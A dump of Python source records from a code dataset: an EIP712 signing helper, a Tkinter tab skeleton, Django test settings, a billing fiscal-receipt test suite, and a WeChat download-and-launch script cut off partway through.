'actor',\n 'type': 'address'\n }, {\n 'name': 'delegate',\n 'type': 'address'\n }, {\n 'name': 'marketmaker',\n 'type': 'address'\n }, {\n 'name': 'recipient',\n 'type': 'address'\n }, {\n 'name': 'amount',\n 'type': 'uint256'\n }]\n },\n 'primaryType': 'EIP712ChannelOpen',\n 'domain': {\n 'name': 'XBR',\n 'version': '1',\n },\n 'message': {\n 'chainId': chainId,\n 'verifyingContract': verifyingContract,\n 'ctype': ctype,\n 'openedAt': openedAt,\n 'marketId': marketId,\n 'channelId': channelId,\n 'actor': actor,\n 'delegate': delegate,\n 'marketmaker': marketmaker,\n 'recipient': recipient,\n 'amount': amount\n }\n }\n\n return data\n\n\ndef sign_eip712_channel_open(eth_privkey: bytes, chainId: int, verifyingContract: bytes, ctype: int,\n openedAt: int, marketId: bytes, channelId: bytes, actor: bytes, delegate: bytes,\n marketmaker: bytes, recipient: bytes, amount: int) -> bytes:\n \"\"\"\n\n :param eth_privkey: Ethereum address of buyer (a raw 20 bytes Ethereum address).\n :type eth_privkey: bytes\n\n :return: The signature according to EIP712 (32+32+1 raw bytes).\n :rtype: bytes\n \"\"\"\n # create EIP712 typed data object\n data = _create_eip712_channel_open(chainId, verifyingContract, ctype, openedAt, marketId, channelId,\n actor, delegate, marketmaker, recipient, amount)\n\n # FIXME: this fails on PyPy (but ot on CPy!) with\n # Unknown format b'%M\\xff\\xcd2w\\xc0\\xb1f\\x0fmB\\xef\\xbbuN\\xda\\xba\\xbc+', attempted to normalize to 0x254dffcd3277c0b1660f6d42efbb754edababc2b\n _args = signing.sign_typed_data(data, eth_privkey)\n\n signature = signing.v_r_s_to_signature(*_args)\n assert len(signature) == _EIP712_SIG_LEN\n\n return signature\n\n\ndef recover_eip712_channel_open(chainId: int, verifyingContract: bytes, ctype: int, openedAt: int,\n marketId: bytes, channelId: bytes, actor: bytes, delegate: bytes,\n marketmaker: bytes, recipient: bytes, amount: int, signature: bytes) -> bytes:\n \"\"\"\n Recover the signer address the given EIP712 signature was signed with.\n\n :return: The (computed) signer address the signature was signed with.\n :rtype: bytes\n \"\"\"\n # create EIP712 typed data object\n data = _create_eip712_channel_open(chainId, verifyingContract, ctype, openedAt, marketId, channelId,\n actor, delegate, marketmaker, recipient, amount)\n\n assert type(signature) == bytes and len(signature) == _EIP712_SIG_LEN\n signer_address = signing.recover_typed_data(data, *signing.signature_to_v_r_s(signature))\n\n return a2b_hex(signer_address[2:])\n","repo_name":"it5prasoon/OrganiseHackathonsDjango","sub_path":"venv/Lib/site-packages/autobahn/xbr/_eip712_channel_open.py","file_name":"_eip712_channel_open.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"4262017814","text":"# Tkinter\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import scrolledtext\n\nroot = tk.Tk()\nroot.title(\"My Trade\")\nroot.geometry(\"900x500\")\nroot.resizable(0, 0)\n\n# Tabs\ntabs = ttk.Notebook(root, ) # create tab object\n# tab 1\ncrTrans = tk.Frame(tabs, bg=\"blue\")\ntabs.add(crTrans, text=\"Cr Transaction\")\n\n\n# tab 2\ndrTrans = tk.Frame(tabs, bg=\"yellow\")\ntabs.add(drTrans, text=\"Dr Transaction\")\n# tab 3\ncrCustomer = tk.Frame(tabs, bg=\"pink\")\ntabs.add(crCustomer, text=\"Cr Customers\")\n# tab 4\nstockIn = tk.Frame(tabs, bg=\"pink\")\ntabs.add(stockIn, text=\"Stock in House\")\n# tab 5\nstockOut = tk.Frame(tabs, bg=\"pink\")\ntabs.add(stockOut, text=\"Stock out House\")\n# tab 6\norders = tk.Frame(tabs, bg=\"pink\")\ntabs.add(orders, text=\"Orders\")\n# tab 7\nreport = tk.Frame(tabs, bg=\"pink\")\ntabs.add(report, text=\"Report\")\n\ntabs.pack(expand=1, fill=\"both\")\n\n\nroot.mainloop()\n","repo_name":"WalleEve/Python3","sub_path":"Tkinter/TradingApp/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23777669151","text":"import os\nimport tempfile\n\nDATABASES = {\n \"default\": {\n \"ENGINE\": \"django.db.backends.sqlite3\",\n \"NAME\": os.path.join(tempfile.gettempdir(), \"lippukala_test.sqlite3\"),\n }\n}\n\nSECRET_KEY = \"secret\"\n\nLIPPUKALA_PREFIXES = {\n \"0\": \"mat\",\n \"1\": \"nom\",\n \"2\": \"dog-jono\",\n \"3\": \"cat-jono\",\n}\n\nLIPPUKALA_LITERATE_KEYSPACES = {\n \"0\": \"hopea kulta kumi lanka muovi nahka naru pahvi rauta teräs\".split(),\n \"1\": (\n \"Aino Anna Armas Eino Elisabet Helmi Hilja Ilmari Johanna Johannes \"\n \"Juho Lauri Maria Martta Sofia Toivo Tyyne Vilho Väinö Yrjö\"\n ).split(),\n \"2\": \"Murre Rekku Haukku yksi pallo\".split(),\n \"3\": \"Miuku Mauku Kitler kaksi neliö\".split(),\n}\n\nLIPPUKALA_CODE_MIN_N_DIGITS = 6\nLIPPUKALA_CODE_MAX_N_DIGITS = 10\n\nLIPPUKALA_PRINT_LOGO_PATH = \"./fictitious_con.jpg\"\nLIPPUKALA_PRINT_LOGO_SIZE_CM = (5.84, 1.5)\n\nINSTALLED_APPS = (\n \"django.contrib.auth\",\n \"django.contrib.admin\",\n \"django.contrib.contenttypes\",\n \"django.contrib.messages\",\n \"django.contrib.sessions\",\n \"lippukala\",\n)\n\nMIDDLEWARE = (\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n)\n\nAUTHENTICATION_BACKENDS = (\"django.contrib.auth.backends.ModelBackend\",)\n\nTEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n \"APP_DIRS\": True,\n \"OPTIONS\": {\n \"context_processors\": (\n \"django.contrib.auth.context_processors.auth\",\n \"django.template.context_processors.request\",\n \"django.contrib.messages.context_processors.messages\",\n ),\n },\n },\n]\n\nROOT_URLCONF = \"lippukala_test_app.urls\"\nDEBUG = True\n","repo_name":"kcsry/lippukala","sub_path":"lippukala_test_app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"29049060477","text":"# coding=utf-8\nimport pytest\nfrom hamcrest import equal_to, is_, not_none, is_in\n\nimport btestlib.reporter as reporter\nfrom btestlib.constants import Services\nfrom btestlib.utils import CheckMode, check_mode\nfrom simpleapi.common.payment_methods import TrustWebPage, Via, ApplePay, \\\n LinkedCard, GooglePay\nfrom simpleapi.common.utils import DataObject\nfrom simpleapi.common.utils import current_scheme_is\nfrom simpleapi.data import defaults\nfrom simpleapi.data import features, stories\nfrom simpleapi.data import marks\nfrom simpleapi.data import uids_pool as uids\nfrom simpleapi.data.cards_pool import get_card, Sberbank\nfrom simpleapi.matchers.deep_equals import deep_contains, deep_equals_to\nfrom simpleapi.steps import check_steps as check\nfrom simpleapi.steps import db_steps\nfrom simpleapi.steps import expected_steps\nfrom simpleapi.steps import expected_steps as expected\nfrom simpleapi.steps import payments_api_steps as payments_api\nfrom simpleapi.steps import simple_steps as simple\nfrom simpleapi.steps import simple_steps_bo as simple_bo\nfrom simpleapi.steps.fiscal_page_steps import FiscalPageTakeData\n\n__author__ = 'slppls'\n\nPAYMENTS_COUNT = 2\n\n\ndef get_price_after_discount(price):\n return float(price - price * 0.1)\n\n\ndef check_fiscal_payment(service, user, basket,\n price=defaults.Order.price, tax_type=defaults.Fiscal.NDS.nds_none):\n fiscal_info = payments_api.Payments.receipts_payment(service, user, basket['purchase_token'])\n receipt_content = fiscal_info['receipt_content']\n for row in receipt_content['rows']:\n # когда на тесте включена заглушка для касс, то во всех чеках пробивается фиксированная сумма 10.00\n check.check_that(row['price'], is_in((\"%.2f\" % price, '10.00')),\n step=u'Проверяем соответствие цены в чеке и платеже',\n error=u'Некорректная цена в чеке')\n check.check_that(row['tax_type'], is_(equal_to(tax_type)),\n step=u'Проверяем соответствие ндс в чеке и платеже',\n error=u'Некорректный ндс в чеке')\n for payment in receipt_content['payments']:\n check.check_that(payment['payment_type'], is_(equal_to('card')),\n step=u'Проверяем, что в чеке пробивается карточный платеж',\n error=u'Некорректный тип оплаты в чеке')\n\n \"\"\"\n TRUST-3635\n\n То что бьётся в даркспирите.\n В принципе напрямую это не к этой таске, но по сути проверяется тем, что проверяется пробивка в даркспирите.\n А пробивка в даркспирите проверяется тем, что в t_fiscal_receipt появляется retrieve_uri\n (с) @sage\n \"\"\"\n if current_scheme_is('BS'):\n ds_retrieve_uri = db_steps.bs_or_ng_by_service(service).\\\n get_darkspirit_retrieve_uri(purchase_token=basket.get('purchase_token'))\n check.check_that(ds_retrieve_uri, is_(not_none()),\n step=u'Проверяем что чек пробился в даркспирите',\n error=u'Чек не пробился в даркспирите')\n\n\ndef check_fiscal_refund(service, user, basket, trust_refund_id,\n price=defaults.Order.price, tax_type=defaults.Fiscal.NDS.nds_none):\n # refund == reversal in fiscal logic.\n fiscal_info = payments_api.Payments.receipts_refund(service, user, basket['purchase_token'], trust_refund_id)\n # fiscal_info = payments_api.Payments.receipts_refund(service, user, basket['trust_payment_id'], trust_refund_id)\n receipt_content = fiscal_info['receipt_content']\n for row in receipt_content['rows']:\n # когда на тесте включена заглушка для касс, то во всех чеках пробивается фиксированная сумма 10.00\n check.check_that(row['price'], is_in((\"%.2f\" % price, '10.00')),\n step=u'Проверяем соответствие цены в чеке и платеже',\n error=u'Некорректная цена в чеке')\n check.check_that(row['tax_type'], is_(equal_to(tax_type)),\n step=u'Проверяем соответствие ндс в чеке и платеже',\n error=u'Некорректный ндс в чеке')\n check.check_that(receipt_content['receipt_type'], is_(equal_to('return_income')),\n step=u'Проверяем, что в чеке пробивается возврат',\n error=u'Некорректный тип чека')\n\n\ndef taxi_refund_payment(order_structure, paymethod, payments_count, user_type):\n service = Services.TAXI\n user = uids.get_random_of_type(user_type)\n orders = simple.form_orders_for_create(service, user, orders_structure=order_structure)\n payments = []\n for _ in range(payments_count):\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service, user=user,\n orders=orders,\n paymethod=paymethod,\n need_postauthorize=True)\n payments.append(basket['trust_payment_id'])\n # рефандим все платежи\n for payment in payments:\n basket = simple.check_basket(service, user=user,\n trust_payment_id=payment)\n simple.process_refund(service,\n trust_payment_id=basket['trust_payment_id'],\n basket=basket, user=user)\n return simple.check_basket(service, user=user,\n trust_payment_id=payment)\n\n\ndef taxi_reversal_payment(order_structure, paymethod, payments_count, user_type):\n service = Services.TAXI\n user = uids.get_random_of_type(user_type)\n orders = simple.form_orders_for_create(service, user,\n orders_structure=order_structure)\n payments = []\n for _ in range(payments_count):\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service, user=user,\n orders=orders,\n paymethod=paymethod)\n payments.append(basket['trust_payment_id'])\n for payment in payments:\n orders_for_update = simple.form_orders_for_update(orders,\n default_action='cancel')\n simple.update_basket(service, orders=orders_for_update,\n user=user,\n trust_payment_id=payment)\n return simple.wait_until_real_postauth(service, user=user,\n trust_payment_id=payment)\n\n\nclass Data(object):\n BASE_DATA = DataObject(service=Services.TICKETS, paymethod=TrustWebPage(Via.card(get_card())),\n user_type=uids.Types.random_from_all,\n orders_structure=defaults.Order.structure_rub_one_order)\n test_data_services = [\n # params pack for service tests\n BASE_DATA.new(service=Services.TICKETS),\n BASE_DATA.new(service=Services.EVENTS_TICKETS),\n BASE_DATA.new(service=Services.EVENTS_TICKETS_NEW),\n BASE_DATA.new(service=Services.NEW_MARKET),\n BASE_DATA.new(service=Services.TAXI, paymethod=LinkedCard(card=get_card())),\n BASE_DATA.new(service=Services.TAXI, paymethod=LinkedCard(card=get_card()),\n user_type=uids.Types.random_from_phonishes),\n\n # params pack for orders tests\n BASE_DATA.new(orders_structure=defaults.Order.structure_rub_two_orders),\n\n # params pack for paymethod tests\n BASE_DATA.new(paymethod=TrustWebPage(Via.linked_card(get_card()))),\n marks.apple_pay(\n BASE_DATA.new(paymethod=ApplePay())),\n marks.google_pay(\n BASE_DATA.new(service=Services.TAXI, paymethod=GooglePay())),\n ]\n test_data_part_reversal = [\n BASE_DATA.new(orders_structure=defaults.Order.structure_rub_two_orders,\n clearing_plan=[{'action': 'clear'}, {'action': 'cancel'}])\n ]\n test_data_disk = [\n BASE_DATA.new(service=Services.DISK, region_id=225, currency='RUB'),\n ]\n test_data_restapi = [\n BASE_DATA.new(service=Services.MEDICINE_PAY,\n paymethod=TrustWebPage(Via.linked_card(get_card(),\n list_payment_methods_callback=payments_api.PaymentMethods.get))),\n BASE_DATA.new(service=Services.DRIVE,\n paymethod=LinkedCard(card=Sberbank.Success.Without3DS.card_visa,\n list_payment_methods_callback=payments_api.PaymentMethods.get)),\n BASE_DATA.new(service=Services.QUASAR,\n paymethod=LinkedCard(card=get_card(),\n list_payment_methods_callback=payments_api.PaymentMethods.get)),\n ]\n test_data_discount = [\n BASE_DATA.new(orders_structure=defaults.Order.structure_rub_fiscal)\n ]\n test_data_music = [\n BASE_DATA.new(service=Services.MUSIC, paymethod=LinkedCard(card=get_card()))\n ]\n test_data_receipt_url_and_email = [\n BASE_DATA.new(service=Services.MEDICINE_PAY),\n BASE_DATA.new(service=Services.BUSES),\n ]\n test_taxi_fiscal_data = [\n DataObject(paymethod=LinkedCard(card=get_card()), descr='refund_payment',\n user_type=uids.Types.random_from_test_passport).new(payment=taxi_refund_payment),\n DataObject(paymethod=LinkedCard(card=get_card()), descr='reversal_payment',\n user_type=uids.Types.random_from_test_passport).new(payment=taxi_reversal_payment),\n ]\n orders_structure = [\n defaults.Order.structure_rub_one_order,\n defaults.Order.structure_rub_two_orders,\n ]\n\n\n# @pytest.mark.no_parallel\n@reporter.feature(features.General.Fiscal)\nclass TestFiscals(object):\n @reporter.story(stories.General.Payment)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', Data.test_data_services, ids=DataObject.ids)\n def test_base_payment_cycle(self, test_data):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n\n orders = simple.form_orders_for_create(service, user, orders_structure)\n orders = simple.form_fiscal_in_orders(orders)\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service=service, user=user, paymethod=paymethod, orders=orders,\n with_fiscal=True)\n check_fiscal_payment(service, user, basket)\n\n @reporter.story(stories.General.Payment)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', [Data.BASE_DATA], ids=DataObject.ids)\n def test_payment_cycle_with_refund(self, test_data):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n\n orders = simple.form_orders_for_create(service, user, orders_structure)\n orders = simple.form_fiscal_in_orders(orders)\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service=service, user=user, paymethod=paymethod, orders=orders,\n with_fiscal=True)\n simple.process_postauthorize(service, user, basket['trust_payment_id'], orders)\n trust_refund_id = simple.process_refund(service, trust_payment_id=basket['trust_payment_id'],\n basket=basket, user=user)\n check_fiscal_refund(service, user, basket, trust_refund_id)\n\n @reporter.story(stories.General.Payment)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', [Data.BASE_DATA], ids=DataObject.ids)\n def test_payment_cycle_with_reversal(self, test_data):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n\n orders = simple.form_orders_for_create(service, user, orders_structure)\n orders = simple.form_fiscal_in_orders(orders)\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service=service, user=user, paymethod=paymethod, orders=orders,\n with_fiscal=True)\n\n orders_for_update = simple.form_orders_for_update(orders, default_action='cancel')\n new_basket = simple.process_postauthorize(service, user, basket['trust_payment_id'],\n orders_for_update=orders_for_update)\n check_fiscal_refund(service, user, new_basket, new_basket['reversal_id'])\n\n @reporter.story(stories.General.Payment)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', Data.test_data_part_reversal, ids=DataObject.ids)\n def test_payment_cycle_with_part_reversal(self, test_data):\n service, paymethod, user_type, orders_structure, clearing_plan = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure, \\\n test_data.clearing_plan\n user = uids.get_random_of_type(user_type)\n\n orders = simple.form_orders_for_create(service, user, orders_structure)\n orders = simple.form_fiscal_in_orders(orders)\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service=service, user=user, paymethod=paymethod, orders=orders,\n with_fiscal=True)\n\n orders_for_update = simple.form_orders_for_update(orders, clearing_plan)\n new_basket = simple.process_postauthorize(service, user, basket['trust_payment_id'],\n orders_for_update=orders_for_update)\n check_fiscal_refund(service, user, new_basket, new_basket['reversal_id'])\n\n @reporter.story(stories.General.Payment)\n @pytest.mark.skipif(not current_scheme_is('NG'), reason=\"Only NG scheme\")\n @pytest.mark.parametrize('test_data', Data.test_data_disk, ids=DataObject.ids)\n def test_disk_payment_cycle(self, test_data):\n service, paymethod, user_type = test_data.service, test_data.paymethod, test_data.user_type\n region_id, currency = test_data.region_id, test_data.currency\n user = uids.get_random_of_type(user_type)\n paymethod.init(service=service, user=user, region_id=region_id)\n with payments_api.Subscriptions.create_normal(service, user, region_id) as subs:\n orders = [{\"order_id\": subs['order_id'], \"currency\": currency, 'region_id': region_id, \"qty\": 1}]\n with check_mode(CheckMode.FAILED):\n basket = payments_api.Payments.process(service, paymethod, user=user, orders=orders, currency=currency,\n region_id=region_id)\n payments_api.Wait.until_subscription_continuation(service, user, subs['order_id'])\n check_fiscal_payment(service, user, basket, price=10)\n purchase_token = basket['purchase_token']\n orders_for_refund = payments_api.Form.orders_for_refund(\n payments_api.Payments.get(service, user, purchase_token))\n trust_refund_id = payments_api.Refunds.create(service, user, purchase_token,\n orders_for_refund)['trust_refund_id']\n payments_api.Refunds.start(service, user, trust_refund_id)\n payments_api.Wait.until_refund_done(service, user, purchase_token,\n trust_refund_id)\n check_fiscal_refund(service, user, basket, trust_refund_id, price=10)\n\n @reporter.story(stories.General.Payment)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', Data.test_data_restapi, ids=DataObject.ids)\n def test_base_rest_payment_cycle(self, test_data):\n service, paymethod, user_type = test_data.service, test_data.paymethod, test_data.user_type\n user = uids.get_random_of_type(user_type)\n orders_structure = [\n {'region_id': 225, 'currency': 'RUB', 'price': 10},\n {'region_id': 225, 'currency': 'RUB', 'price': 10},\n ]\n\n with check_mode(CheckMode.FAILED):\n orders = payments_api.Form.orders_for_payment(service=service, user=user,\n orders_structure=orders_structure, with_fiscal=True)\n basket = payments_api.Payments.process(service, paymethod=paymethod, user=user,\n orders=orders, with_fiscal=True)\n check_fiscal_payment(service, user, basket, price=10)\n\n @reporter.story(stories.General.Discount)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', Data.test_data_discount, ids=DataObject.ids)\n def test_discount(self, test_data):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n expected_price = get_price_after_discount(orders_structure[0]['price'])\n\n orders = simple.form_orders_for_create(service, user, orders_structure)\n orders = simple.form_fiscal_in_orders(orders)\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service=service, user=user, paymethod=paymethod, orders=orders,\n discounts=[defaults.Discounts.id100['id']], with_fiscal=True)\n check_fiscal_payment(service, user, basket, price=expected_price)\n simple.process_postauthorize(service, user, basket['trust_payment_id'], orders)\n trust_refund_id = simple.process_refund(service, trust_payment_id=basket['trust_payment_id'],\n basket=basket, user=user)\n check_fiscal_refund(service, user, basket, trust_refund_id, price=expected_price)\n\n @reporter.story(stories.General.Promocodes)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', [Data.BASE_DATA], ids=DataObject.ids)\n def test_promocode(self, test_data):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n\n promocode_id = simple.process_promocode_creating(service)\n expected_price = orders_structure[0]['price'] - defaults.Promocode.promocode_amount_part\n\n orders = simple.form_orders_for_create(service, user)\n orders = simple.form_fiscal_in_orders(orders)\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service, user, orders=orders, paymethod=paymethod,\n promocode_id=promocode_id, with_fiscal=True)\n check_fiscal_payment(service, user, basket, price=expected_price)\n\n @reporter.story(stories.General.Promocodes)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', [Data.BASE_DATA], ids=DataObject.ids)\n def test_discount_with_promo(self, test_data):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n\n promocode_id = simple.process_promocode_creating(service)\n expected_price = get_price_after_discount(\n orders_structure[0]['price'] - defaults.Promocode.promocode_amount_part)\n\n orders = simple.form_orders_for_create(service, user)\n orders = simple.form_fiscal_in_orders(orders)\n with check_mode(CheckMode.FAILED):\n basket = simple.process_payment(service, user, orders=orders, paymethod=paymethod,\n promocode_id=promocode_id, discounts=[defaults.Discounts.id100['id'], ],\n with_fiscal=True)\n check_fiscal_payment(service, user, basket, price=expected_price)\n\n @pytest.fixture\n def create_orders_and_stop_subs(self, request):\n def create_subs_order(service, user, product, orders_structure):\n orders = simple.form_orders_for_create(service, user, orders_structure,\n service_product_type=product,\n fiscal_nds=defaults.Fiscal.NDS.nds_none,\n fiscal_title=defaults.Fiscal.fiscal_title)\n\n def fin():\n for order in orders:\n simple_bo.stop_subscription(service, service_order_id=order['service_order_id'], user=user)\n\n request.addfinalizer(fin)\n return orders\n\n return create_subs_order\n\n @reporter.story(stories.General.Subscription)\n @pytest.mark.skipif(not current_scheme_is('NG'), reason=\"Only NG scheme\")\n @pytest.mark.parametrize('test_data', Data.test_data_music, ids=DataObject.ids)\n def test_music(self, test_data, create_orders_and_stop_subs):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n expected_price = 10\n\n product = defaults.ServiceProduct.Subscription.NORMAL.copy()\n orders = create_orders_and_stop_subs(service, user, product, orders_structure)\n basket = simple.process_payment(service, user=user, orders=orders, paymethod=paymethod)\n\n simple.wait_until_subscription_continuation(service, user=user, orders=orders,\n trust_payment_id=basket['trust_payment_id'])\n basket = simple.wait_until_fiscal_done(service, user=user, purchase_token=basket['purchase_token'])\n for purchase_token in basket['orders'][0]['payments']:\n fiscal_basket = simple.check_basket(service, user=user, purchase_token=purchase_token)\n check_fiscal_payment(service, user, fiscal_basket, price=expected_price)\n\n @reporter.story(stories.General.Rules)\n @pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n @pytest.mark.parametrize('test_data', Data.test_data_receipt_url_and_email, ids=DataObject.ids)\n def test_receipt_contains_url_and_email(self, test_data):\n service, paymethod, user_type, orders_structure = \\\n test_data.service, test_data.paymethod, test_data.user_type, test_data.orders_structure\n user = uids.get_random_of_type(user_type)\n\n expected_receipt_info = db_steps.bs().get_service_receipt_info(service)\n\n orders = payments_api.Form.orders_for_payment(service=service, user=user,\n orders_structure=orders_structure, with_fiscal=True)\n basket = payments_api.Payments.process(service, paymethod=paymethod, user=user,\n orders=orders, with_fiscal=True)\n\n fiscal_info = payments_api.Payments.receipts_payment(service, user, basket['purchase_token'])\n check.check_that(fiscal_info['receipt_calculated_content'],\n deep_contains(expected.Fiscal.receipt_with_url_and_email(email=expected_receipt_info['email'],\n url=expected_receipt_info['url'])),\n step=u'Проверяем, что чек содержит информацию о firm_url и firm_email',\n error=u'Чек не содержит информацию о firm_url и firm_email')\n db_steps.bs().wait_receipt_mail_is_send(basket['purchase_token'])\n\n\n@pytest.mark.skipif(not current_scheme_is('BS'), reason=\"Only BS scheme\")\n@pytest.mark.parametrize('test_data', Data.test_taxi_fiscal_data, ids=DataObject.ids)\n@pytest.mark.parametrize('orders_structure', Data.orders_structure, ids=DataObject.ids_orders)\n@reporter.feature(features.General.Fiscal)\nclass TestTaxiFiscals(object):\n @reporter.story(stories.General.Payment)\n def test_fiscal_info_check(self, test_data, orders_structure):\n paymethod, user_type = test_data.paymethod, test_data.user_type\n basket = test_data.payment(orders_structure, paymethod, PAYMENTS_COUNT, user_type)\n servive_order_id = basket['orders'][0]['service_order_id']\n length_orders = len(basket['orders'])\n fiscal_ifno = FiscalPageTakeData(servive_order_id)\n # PAYMENTS_COUNT * 2 + 1 - обусловленно: PAYMENTS_COUNT - кол-во платежей х2 - возвраты\n # +1 - range режет верхнюю границу\n for fiscal_number in range(1, PAYMENTS_COUNT * 2 + 1):\n # Порядок следования чеков зависит от метода совершения платежа,\n # если сделать оплату последовательной т.е. pay->refund/reversal->next_pay->next_refund/reversal\n # то чеки тоже будут размещенны последовательно\n check_name = u'Возврат прихода' if fiscal_number > 2 else u'Приход'\n check.check_that(fiscal_ifno.take_fiscal_basic_data(fiscal_number),\n deep_equals_to(expected_steps.FiscalTaxi.fiscal_basic_data(check_name)),\n step=u'Проверяем, что заполнение базовых полей чека'\n u' соответствует шаблону',\n error=u'Заполнение базовых полей чека'\n u' не соответствует шаблону!')\n check.check_that(fiscal_ifno.take_fiscal_total_field(fiscal_number),\n deep_equals_to(expected_steps.FiscalTaxi.fiscal_total_field()),\n step=u'Проверяем, что наименование итоговых и ' \\\n u'информационных полей соответствует шаблону',\n error=u'Наименование итоговых и информационных'\n u'полей не соответствует шаблону!')\n check.check_that(fiscal_ifno.take_fiscal_total_data(fiscal_number),\n deep_equals_to(\n expected_steps.FiscalTaxi.fiscal_total_data(basket['amount'],\n unicode(basket['user_email']))),\n step=u'Проверяем, что данные в итоговых и '\n u'информационных полях чека соответствуют шаблону',\n error=u'Данные в итоговых и информационных'\n u'полях чека не соответствует шаблону!')\n for order_num in range(1, length_orders + 1):\n check.check_that(fiscal_ifno.take_fiscal_order_field(fiscal_number, order_num),\n deep_equals_to(\n expected_steps.FiscalTaxi.fiscal_order_field()),\n step=u'Проверяем, что наименование полей орде��а '\n u'соответствует шаблону',\n error=u'Наименование полей ордера'\n u' не соответствует шаблону!')\n orig_amount = basket['orders'][order_num - 1]['orig_amount']\n fiscal_title = basket['orders'][order_num - 1]['fiscal_title']\n check.check_that(fiscal_ifno.take_fiscal_order_data(fiscal_number, order_num),\n deep_equals_to(expected_steps.FiscalTaxi.fiscal_order_data(order_num, orig_amount,\n fiscal_title)),\n step=u'Проверяем, что данные в полях ордера соответствуют шаблону',\n error=u'Данные в полях ордера не соответствуют шаблону!')","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/simpleapi/tests/test_fiscal.py","file_name":"test_fiscal.py","file_ext":"py","file_size_in_byte":30180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70676740563","text":"# -*- coding: utf-8 -*-\n# ! python3\n\n\nimport http\nimport os\nimport shutil\nimport urllib.request\nimport http.client\nimport urllib3\nimport re\nimport time\nimport base64\n\n\nclass Wc():\n root_dir: str = os.path.dirname(os.path.dirname(__file__))\n local_path: str = root_dir + base64.b64decode(b'L1dlQ2hhdE1hYy5kbWc=').decode(\"utf-8\")\n remote_url: str = base64.b64decode(b'aHR0cHM6Ly9kbGRpcjEucXEuY29tL3dlaXhpbi9tYWMvV2VDaGF0TWFjLmRtZw==').decode(\"utf-8\")\n attach_dir_path: str = base64.b64decode(b'L1ZvbHVtZXMv5b6u5L+hXCBXZUNoYXQ=').decode(\"utf-8\")\n attach_app_path: str = attach_dir_path + base64.b64decode(b'L1dlQ2hhdC5hcHA=').decode(\"utf-8\")\n temp_dir_path: str = root_dir + \"/_temp\"\n\n @classmethod\n def do(cls):\n # 是否在运行中\n pid: int = cls.get_wechat_pid()\n if pid:\n print(\"\\n\" + base64.b64decode(b'V2VDaGF0IGFscmVhZHkgcnVubmluZyE=').decode(\"utf-8\"))\n return\n\n # 准备\n ready: bool = cls.prepare()\n if not ready:\n return\n\n # 如果已挂载, 先卸载\n info: str = os.popen(\"hdiutil info\").read()\n if base64.b64decode(b'5b6u5L+hIFdlQ2hhdA==').decode(\"utf-8\") in info:\n os.system(\"hdiutil detach \" + cls.attach_dir_path)\n os.system(\"hdiutil attach \" + cls.local_path)\n # 打开\n os.system(\"open \" + cls.attach_app_path)\n\n # 下载或更新\n @classmethod\n def prepare(cls) -> bool:\n # 还没下载, 则直接下载\n if not os.path.exists(cls.local_path):\n ret: bool = cls.download(save_path=cls.local_path)\n return ret\n\n # 检查是否有新版本\n read_response: http.client.HTTPResponse = urllib.request.urlopen(cls.remote_url)\n if read_response.status != 200:\n return True\n remote_size: int = int(read_response.headers[\"content-length\"])\n local_size: int = 